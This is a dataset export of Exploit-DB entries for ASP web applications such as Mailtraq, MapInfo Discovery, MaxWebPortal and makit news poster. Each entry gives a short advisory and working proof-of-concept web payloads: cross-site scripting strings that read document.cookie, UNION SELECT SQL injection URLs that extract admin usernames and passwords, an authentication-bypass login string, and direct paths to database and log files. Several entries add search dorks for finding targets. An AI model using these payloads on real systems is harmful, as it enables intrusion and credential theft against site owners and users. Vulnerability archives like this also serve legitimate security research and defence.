deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22730
Description: Mailtraq 2.2 - 'Browse.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-06-04
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7813/info

Mailtraq is vulnerable to cross-site scripting attacks. The vulnerability exists due to insufficient sanitization of HTTP requests to the vulnerable Mailtraq server.

An attacker can exploit this vulnerability by manipulating the 'cfolder' URI parameter to the browse.asp script and sending a link to a victim user. If this link is visited, the attacker-supplied code may be rendered in the browser of the user who visit the malicious link. 

http://www.example.org/browse.asp?<script>alert(document.cookie)</script>
Exploit-DB #22731
Description: Mailtraq 2.2 - Webmail Utility Full Path Disclosure
Type: webapps
Platform: asp
Date: 2003-06-04
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7815/info

A vulnerability has been reported for Mailtraq that may result in the disclosure of path information.

The vulnerability exists due to insufficient sanitization of HTTP requests. Specifically, a request for non-existent resources will result in an error message being returned that includes path information. 

http://10.10.10.1/browse.asp*
Exploit-DB #11606
Description: Majoda CMS - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-02-28
Author: Phenom

Exploit:
------------------------------------------------------
------------------------------------------------------

 _____  _                                
|  __ \| |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \              
| |    | | | |  __/ | | | (_) | | | | | |             
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|             

                                                      
------------------------------------------------------
------------------------------------------------------

############### Majoda CMS (Auth Bypass) SQL Injection Vulnerability ##########################
#
#       Author : Phenom
#       
#       mail : sys.phenom.sys[at]gmail[dot]com
#
#       Dork : Majoda CMS
#
################################################################################################

####### Exploit ################################################################################
#
#      http://site/admin/index.asp
# 
#      Användarnamn(Username) : 'OR '' = '
#      Lösenord(password)     : 'OR '' = '
#
################################################################################################
Exploit-DB #10778
Description: makit news/blog poster 3.1 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Asp makit news/blog poster v3.1 DB Download Vulnerability               |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : makit news/blog poster v3.1                                             |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/makit/private/news.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #3194
Description: makit Newsposter Script 3.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-25
Author: ajann

Exploit:
*******************************************************************************
# Title   :  makit news/blog poster <=v3(news_page.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.makit.net
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news_page.asp?uid=[SQL]

Example:

//news_page.asp?uid=-1'%20union%20select%200,0,0,uname,pword,0,0,0%20from%20users%20where%20'1=1

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25]
Exploit-DB #26291
Description: Mall23 - 'AddItem.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-08-21
Author: SmOk3

Exploit:
source: https://www.securityfocus.com/bid/14898/info

Mall23 is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

<form action="http://www.example.com/m23Basket/AddItem.asp?idProduct=6" method="POST">
<input type="hidden" name="idOption_Dropdown_2" value="'[SQL INJECTION]">
<input type="Submit" name="submit" value="Test Exploit">
</form>
Exploit-DB #24369
Description: MapInfo Discovery 1.0/1.1 - 'MapFrame.asp?mapname' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-07-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10927/info
 
Multiple remote vulnerabilities are reported in MapInfo Discovery.
 
The first issue is reported to be an information disclosure vulnerability. An attacker may gain access to potentially sensitive error log information that could aid an attacker in further system compromise.
 
The second issue is reported to be a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied URI argument data. This could allow for execution of hostile HTML and script code in the web client of a user who visits a malicious link to the vulnerable site. This code execution would occur in the security context of the site hosting the vulnerable software. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.
 
The third issue is reported to be a plaintext password information disclosure vulnerability. An attacker with the ability to sniff network traffic could capture user and SQL database credentials.
 
The fourth issue is reported to be an administrative login authentication bypass vulnerability. An attacker with a regular user account on the application can gain administrative access.
 
MapInfo Discovery versions 1.0 and 1.1 are reported susceptible to these vulnerabilities.
 
http://www.example.com/midiscovery/MapFrame.asp?mapID=5&mapname=<script>
Exploit-DB #24371
Description: MapInfo Discovery 1.0/1.1 - Administrative Authentication Bypass
Type: webapps
Platform: asp
Date: 2004-07-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10927/info
   
Multiple remote vulnerabilities are reported in MapInfo Discovery.
   
The first issue is reported to be an information disclosure vulnerability. An attacker may gain access to potentially sensitive error log information that could aid an attacker in further system compromise.
   
The second issue is reported to be a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied URI argument data. This could allow for execution of hostile HTML and script code in the web client of a user who visits a malicious link to the vulnerable site. This code execution would occur in the security context of the site hosting the vulnerable software. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.
   
The third issue is reported to be a plaintext password information disclosure vulnerability. An attacker with the ability to sniff network traffic could capture user and SQL database credentials.
   
The fourth issue is reported to be an administrative login authentication bypass vulnerability. An attacker with a regular user account on the application can gain administrative access.
   
MapInfo Discovery versions 1.0 and 1.1 are reported susceptible to these vulnerabilities.


http://www.example.com/midiscovery/asplib/MapPassword.asp?id=140&ps=0&Wrong=1
Exploit-DB #24370
Description: MapInfo Discovery 1.0/1.1 - Cleartext Transmission Credential Disclosure
Type: webapps
Platform: asp
Date: 2004-07-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10927/info
  
Multiple remote vulnerabilities are reported in MapInfo Discovery.
  
The first issue is reported to be an information disclosure vulnerability. An attacker may gain access to potentially sensitive error log information that could aid an attacker in further system compromise.
  
The second issue is reported to be a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied URI argument data. This could allow for execution of hostile HTML and script code in the web client of a user who visits a malicious link to the vulnerable site. This code execution would occur in the security context of the site hosting the vulnerable software. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.
  
The third issue is reported to be a plaintext password information disclosure vulnerability. An attacker with the ability to sniff network traffic could capture user and SQL database credentials.
  
The fourth issue is reported to be an administrative login authentication bypass vulnerability. An attacker with a regular user account on the application can gain administrative access.
  
MapInfo Discovery versions 1.0 and 1.1 are reported susceptible to these vulnerabilities.

http://www.example.com/midiscovery/asplib/SignIn.asp
Exploit-DB #24368
Description: MapInfo Discovery 1.0/1.1 - Remote Log File Access Information Disclosure
Type: webapps
Platform: asp
Date: 2004-07-15
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10927/info

Multiple remote vulnerabilities are reported in MapInfo Discovery.

The first issue is reported to be an information disclosure vulnerability. An attacker may gain access to potentially sensitive error log information that could aid an attacker in further system compromise.

The second issue is reported to be a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied URI argument data. This could allow for execution of hostile HTML and script code in the web client of a user who visits a malicious link to the vulnerable site. This code execution would occur in the security context of the site hosting the vulnerable software. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

The third issue is reported to be a plaintext password information disclosure vulnerability. An attacker with the ability to sniff network traffic could capture user and SQL database credentials.

The fourth issue is reported to be an administrative login authentication bypass vulnerability. An attacker with a regular user account on the application can gain administrative access.

MapInfo Discovery versions 1.0 and 1.1 are reported susceptible to these vulnerabilities.

http://www.example.com/midiscovery/ErrLog/mi3errors.log
Exploit-DB #10955
Description: MasterWeb Script 1.0 - 'details&newsID' SQL Injection
Type: webapps
Platform: asp
Date: 2010-01-03
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] MasterWeb Script <== 1.0 (details&newsID) SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ MasterWeb Script 1.0 ]
    [?] Language:             [ ASP ]
    [?] Vendor                [http://masterweb-ps.com/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[ª]SQL : [Path]/details&newsID=[inj3ct C0dE]
 
[ª]dem0:
 
http://www.site.com/?page=details&newsID=1905+union+select+1,pword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users

Admin:[Path]/admin/login.asp

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #38479
Description: Matrix42 Service Store - 'default.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2013-03-06
Author: 43zsec

Exploit:
source: https://www.securityfocus.com/bid/59290/info

Matrix42 Service Store is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Service Store 5.3 SP3 (5.33.946.0) is vulnerable; other versions may also be affected. 

https://www.example.com/SPS/Portal/default.aspx?'"--></style></script> 
<script>alert(document.cookie)</script> [XSS]
Exploit-DB #37015
Description: Matthew1471 BlogX - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-03-27
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/52730/info

Matthew1471 BlogX is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/About.asp?ShowOriginal="><SCRIPT>alert("demonalex");</SCRIPT>&ShowNew=a&ShowChanges=b

http://www.example.com/About.asp?ShowOriginal=Y&ShowNew="><SCRIPT>alert("demonalex");</SCRIPT>&ShowChanges=b

http://www.example.com/About.asp?ShowOriginal=Y&ShowNew=a&ShowChanges="><SCRIPT>alert("demonalex");</SCRIPT>

http://www.example.com/Search.asp?Search=</title><SCRIPT>alert("demonalex");</SCRIPT>&Page=0
Exploit-DB #32683
Description: Mavi Emlak - 'newDetail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-29
Author: Sina Yazdanmehr

Exploit:
source: https://www.securityfocus.com/bid/33041/info

Mavi Emlak is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/newDetail.asp?haberNo=-9999%20union%20select%200,username,password,3,4,5%20from%20Danismanlar
Exploit-DB #29241
Description: MaviPortal - 'Arama.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-12-09
Author: St@rExT

Exploit:
source: https://www.securityfocus.com/bid/21512/info

MaviPortal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[scriptoath]/arama.asp?a_r_a_n_a_c_a_k= [xss Code]
Exploit-DB #33721
Description: Max Network Technology BBSMAX 4.2 - 'post.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-03-08
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/38592/info

Max Network Technology BBSMAX is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Max Network Technology BBSMAX 4.2 is vulnerable; other versions may also be affected.

http://www.example.com/forum1/post.aspx?action=newthread"><script>alert(/liscker/)</script>
Exploit-DB #33730
Description: Max Network Technology BBSMAX 4.2 - 'threadid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-03-10
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/38630/info

Max Network Technology BBSMAX is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Max Network Technology BBSMAX 4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/forum1/post.aspx?action=reply&threadid="><script>alert(/liscker/);</script>
Exploit-DB #8726
Description: MaxCMS 2.0 - '/inc/ajax.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2009-05-18
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: Maxcms
# Version: 2.0
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#===========================================================
# http://site.com/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-18]
Exploit-DB #28086
Description: Maximus SchoolMAX 4.0.1 - 'Error_msg' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-06-21
Author: Charles Hooper

Exploit:
source: https://www.securityfocus.com/bid/18563/info

Maximus SchoolMAX is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/toas/icue_login.asp?error_msg=These%20aren't%20the%20droids%20you're%20looking%20
Exploit-DB #1900
Description: MaxiSepet 1.0 - 'link' SQL Injection
Type: webapps
Platform: asp
Date: 2006-06-11
Author: nukedx

Exploit:
#Method found by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=42
#Title: MaxiSepet <= 1.0 (link) SQL Injection Vulnerability.

#Dork: "Copyright MaxiSepet ©"

#How: Parameter link did not sanitized properly.

#Example: GET -> http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=SQL

#Example: GET -> http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=-1+UNION+SELECT+concat('Üye%20adi:%20<b>',email,'</b><br>','Þifre:%20<b>',sifre,'</b>')+from+uye+ORDER BY email ASC

# nukedx.com [2006-06-11]

# milw0rm.com [2006-06-11]
Exploit-DB #25589
Description: Maxwebportal 1.3 - 'custom_link.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-05-02
Author: s-dalili

Exploit:
source: https://www.securityfocus.com/bid/13466/info
    
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

custom_link.asp?method=Topic&TOPIC_ID=[Sql inject]
custom_link.asp?method=Forum&Forum_ID=[Sql inject]
Exploit-DB #25585
Description: Maxwebportal 1.3 - 'dl_popular.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-02
Author: s-dalili

Exploit:
source: https://www.securityfocus.com/bid/13466/info

MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Dl_Popular.asp?40 DL_ID,Hit,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1 FROM DL
union select
m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union
select
Exploit-DB #25588
Description: Maxwebportal 1.3 - 'dl_toprated.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-02
Author: s-dalili

Exploit:
source: https://www.securityfocus.com/bid/13466/info
   
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

dl_toprated.asp?10 RATING,Votes,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1
FROM DL union select
m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union
select
Exploit-DB #25586
Description: Maxwebportal 1.3 - 'links_popular.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-02
Author: s-dalili

Exploit:
source: https://www.securityfocus.com/bid/13466/info
 
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Links_Popular.asp?10
LINK_ID,Hit,DESCRIPTION,NAME,POST_DATE,banner_url,1,1,1,1,1,1,1 FROM LINKS
union select m_username,m_password,1,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS
where
m_username='admin' union select